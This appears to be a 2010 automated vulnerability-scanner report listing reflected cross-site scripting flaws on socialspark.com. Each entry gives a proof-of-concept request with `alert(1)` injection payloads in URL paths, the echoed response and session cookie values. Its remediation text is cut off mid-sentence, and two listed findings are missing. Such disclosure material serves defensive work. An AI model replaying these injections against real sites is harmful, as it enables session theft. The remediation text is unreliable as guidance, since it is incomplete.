Report generated by XSS.CX at Fri Nov 05 09:29:58 CDT 2010.


Cross Site Scripting Reports | Hoyt LLC Research


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://socialspark.com/accounts [REST URL parameter 1]

1.2. http://socialspark.com/advertisers [REST URL parameter 1]

1.3. http://socialspark.com/bloggers [REST URL parameter 1]

1.4. http://socialspark.com/blogs [REST URL parameter 1]

1.5. http://socialspark.com/blogs/thetechjournal-com/active_booking [REST URL parameter 1]

1.6. http://socialspark.com/blogs/thetechjournal-com/active_booking [REST URL parameter 3]

1.7. http://socialspark.com/causes [REST URL parameter 1]

1.8. http://socialspark.com/metrics/click/provider [REST URL parameter 1]

1.9. http://socialspark.com/metrics/click/provider [REST URL parameter 2]

1.10. http://socialspark.com/metrics/click/provider [REST URL parameter 3]

1.11. http://socialspark.com/my_message_center/tools/id/send_to_friend [REST URL parameter 1]

1.12. http://socialspark.com/my_message_center/tools/id/send_to_friend [REST URL parameter 2]

1.13. http://socialspark.com/my_message_center/tools/id/send_to_friend [REST URL parameter 4]

1.14. http://socialspark.com/networks [REST URL parameter 1]

1.15. http://socialspark.com/opportunities [REST URL parameter 1]

1.16. http://socialspark.com/search [REST URL parameter 1]



1. Cross-site scripting (reflected)
There are 16 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://socialspark.com/accounts [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /accounts

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e7ec9<img%20src%3da%20onerror%3dalert(1)>ec60679abe1 was submitted in the REST URL parameter 1. This input was echoed as e7ec9<img src=a onerror=alert(1)>ec60679abe1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /accountse7ec9<img%20src%3da%20onerror%3dalert(1)>ec60679abe1 HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://socialspark.com/blogs55b3c%3Cimg%20src%3da%20onerror%3dalert(1)%3E54cf7b14d56/thetechjournal-com/active_booking
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:15:14 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Accountse7ec9<img src=a onerror=alert(1)>ec60679abe1</span>
...[SNIP]...

1.2. http://socialspark.com/advertisers [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /advertisers

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2a67d<img%20src%3da%20onerror%3dalert(1)>1361912d7c4 was submitted in the REST URL parameter 1. This input was echoed as 2a67d<img src=a onerror=alert(1)>1361912d7c4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /advertisers2a67d<img%20src%3da%20onerror%3dalert(1)>1361912d7c4 HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:15:19 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Advertisers2a67d<img src=a onerror=alert(1)>1361912d7c4</span>
...[SNIP]...

1.3. http://socialspark.com/bloggers [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /bloggers

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6702b<img%20src%3da%20onerror%3dalert(1)>9b48234b7d6 was submitted in the REST URL parameter 1. This input was echoed as 6702b<img src=a onerror=alert(1)>9b48234b7d6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /bloggers6702b<img%20src%3da%20onerror%3dalert(1)>9b48234b7d6 HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:15:20 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12036

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Bloggers6702b<img src=a onerror=alert(1)>9b48234b7d6</span>
...[SNIP]...

1.4. http://socialspark.com/blogs [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /blogs

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9356e<img%20src%3da%20onerror%3dalert(1)>884bea13f5b was submitted in the REST URL parameter 1. This input was echoed as 9356e<img src=a onerror=alert(1)>884bea13f5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /blogs9356e<img%20src%3da%20onerror%3dalert(1)>884bea13f5b HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://socialspark.com/blogs55b3c%3Cimg%20src%3da%20onerror%3dalert(1)%3E54cf7b14d56/thetechjournal-com/active_booking
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:16:05 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12033

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Blogs9356e<img src=a onerror=alert(1)>884bea13f5b</span>
...[SNIP]...

1.5. http://socialspark.com/blogs/thetechjournal-com/active_booking [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /blogs/thetechjournal-com/active_booking

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 55b3c<img%20src%3da%20onerror%3dalert(1)>54cf7b14d56 was submitted in the REST URL parameter 1. This input was echoed as 55b3c<img src=a onerror=alert(1)>54cf7b14d56 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /blogs55b3c<img%20src%3da%20onerror%3dalert(1)>54cf7b14d56/thetechjournal-com/active_booking HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 04:43:24 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlYjYxYzM1ODVlNWJmZTk1MTdiNDAyNzEwZDM3OWUzMTA%3D--0528115844f924d8c81b1972de35eaec9dd04e41; path=/; HttpOnly
Connection: close
Content-Length: 12428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<a href="/blogs55b3c&lt;img src=a onerror=alert(1)&gt;54cf7b14d56">Blogs55b3c<img src=a onerror=alert(1)>54cf7b14d56</a>
...[SNIP]...

1.6. http://socialspark.com/blogs/thetechjournal-com/active_booking [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /blogs/thetechjournal-com/active_booking

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 9d15f<img%20src%3da%20onerror%3dalert(1)>5ff61849dd5 was submitted in the REST URL parameter 3. This input was echoed as 9d15f<img src=a onerror=alert(1)>5ff61849dd5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /blogs/thetechjournal-com/active_booking9d15f<img%20src%3da%20onerror%3dalert(1)>5ff61849dd5 HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 04:43:47 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzQ2MWNkYzBlYWIyMWM5ZjU0MDBlZGViNTJlMjg0Yjk%3D--cccdfe9519824df675fd829d62fb1e3e5084085f; path=/; HttpOnly
Connection: close
Content-Length: 12466

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Active booking9d15f<img src=a onerror=alert(1)>5ff61849dd5</span>
...[SNIP]...

1.7. http://socialspark.com/causes [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /causes

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 26c54<img%20src%3da%20onerror%3dalert(1)>a242e7702ee was submitted in the REST URL parameter 1. This input was echoed as 26c54<img src=a onerror=alert(1)>a242e7702ee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /causes26c54<img%20src%3da%20onerror%3dalert(1)>a242e7702ee HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://socialspark.com/blogs55b3c%3Cimg%20src%3da%20onerror%3dalert(1)%3E54cf7b14d56/thetechjournal-com/active_booking
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:14:44 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12035

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Causes26c54<img src=a onerror=alert(1)>a242e7702ee</span>
...[SNIP]...

1.8. http://socialspark.com/metrics/click/provider [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /metrics/click/provider

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 21e16<img%20src%3da%20onerror%3dalert(1)>2b6338fd1f3 was submitted in the REST URL parameter 1. This input was echoed as 21e16<img src=a onerror=alert(1)>2b6338fd1f3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /metrics21e16<img%20src%3da%20onerror%3dalert(1)>2b6338fd1f3/click/provider HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:13:42 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12401

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<a href="/metrics21e16&lt;img src=a onerror=alert(1)&gt;2b6338fd1f3">Metrics21e16<img src=a onerror=alert(1)>2b6338fd1f3</a>
...[SNIP]...

1.9. http://socialspark.com/metrics/click/provider [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /metrics/click/provider

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 82f7a<script>alert(1)</script>2339a0cdc59 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /metrics/click82f7a<script>alert(1)</script>2339a0cdc59/provider HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:14:13 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Cascade: pass
Status: 404
Content-Type: text/plain
Connection: close
Content-Length: 75

Not Found: /metrics/click82f7a<script>alert(1)</script>2339a0cdc59/provider

1.10. http://socialspark.com/metrics/click/provider [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /metrics/click/provider

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 9b698<script>alert(1)</script>2f649fe89dc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /metrics/click/provider9b698<script>alert(1)</script>2f649fe89dc HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:14:17 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Cascade: pass
Status: 404
Content-Type: text/plain
Connection: close
Content-Length: 75

Not Found: /metrics/click/provider9b698<script>alert(1)</script>2f649fe89dc

1.11. http://socialspark.com/my_message_center/tools/id/send_to_friend [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /my_message_center/tools/id/send_to_friend

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f79e1<img%20src%3da%20onerror%3dalert(1)>1c63ee3650c was submitted in the REST URL parameter 1. This input was echoed as f79e1<img src=a onerror=alert(1)>1c63ee3650c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /my_message_centerf79e1<img%20src%3da%20onerror%3dalert(1)>1c63ee3650c/tools/id/send_to_friend HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:14:32 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12634

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<a href="/my_message_centerf79e1&lt;img src=a onerror=alert(1)&gt;1c63ee3650c">My message centerf79e1<img src=a onerror=alert(1)>1c63ee3650c</a>
...[SNIP]...

1.12. http://socialspark.com/my_message_center/tools/id/send_to_friend [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /my_message_center/tools/id/send_to_friend

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 50dde<img%20src%3da%20onerror%3dalert(1)>f89c6061093 was submitted in the REST URL parameter 2. This input was echoed as 50dde<img src=a onerror=alert(1)>f89c6061093 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /my_message_center/tools50dde<img%20src%3da%20onerror%3dalert(1)>f89c6061093/id/send_to_friend HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:15:07 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<a href="/my_message_center/tools50dde&lt;img src=a onerror=alert(1)&gt;f89c6061093">Tools50dde<img src=a onerror=alert(1)>f89c6061093</a>
...[SNIP]...

1.13. http://socialspark.com/my_message_center/tools/id/send_to_friend [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /my_message_center/tools/id/send_to_friend

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 5d76e<img%20src%3da%20onerror%3dalert(1)>6e669bed59e was submitted in the REST URL parameter 4. This input was echoed as 5d76e<img src=a onerror=alert(1)>6e669bed59e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /my_message_center/tools/id/send_to_friend5d76e<img%20src%3da%20onerror%3dalert(1)>6e669bed59e HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:15:53 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12484

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Send to friend5d76e<img src=a onerror=alert(1)>6e669bed59e</span>
...[SNIP]...

1.14. http://socialspark.com/networks [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /networks

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b364f<img%20src%3da%20onerror%3dalert(1)>fafcbdb2586 was submitted in the REST URL parameter 1. This input was echoed as b364f<img src=a onerror=alert(1)>fafcbdb2586 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /networksb364f<img%20src%3da%20onerror%3dalert(1)>fafcbdb2586 HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://socialspark.com/blogs55b3c%3Cimg%20src%3da%20onerror%3dalert(1)%3E54cf7b14d56/thetechjournal-com/active_booking
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:15:09 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Networksb364f<img src=a onerror=alert(1)>fafcbdb2586</span>
...[SNIP]...

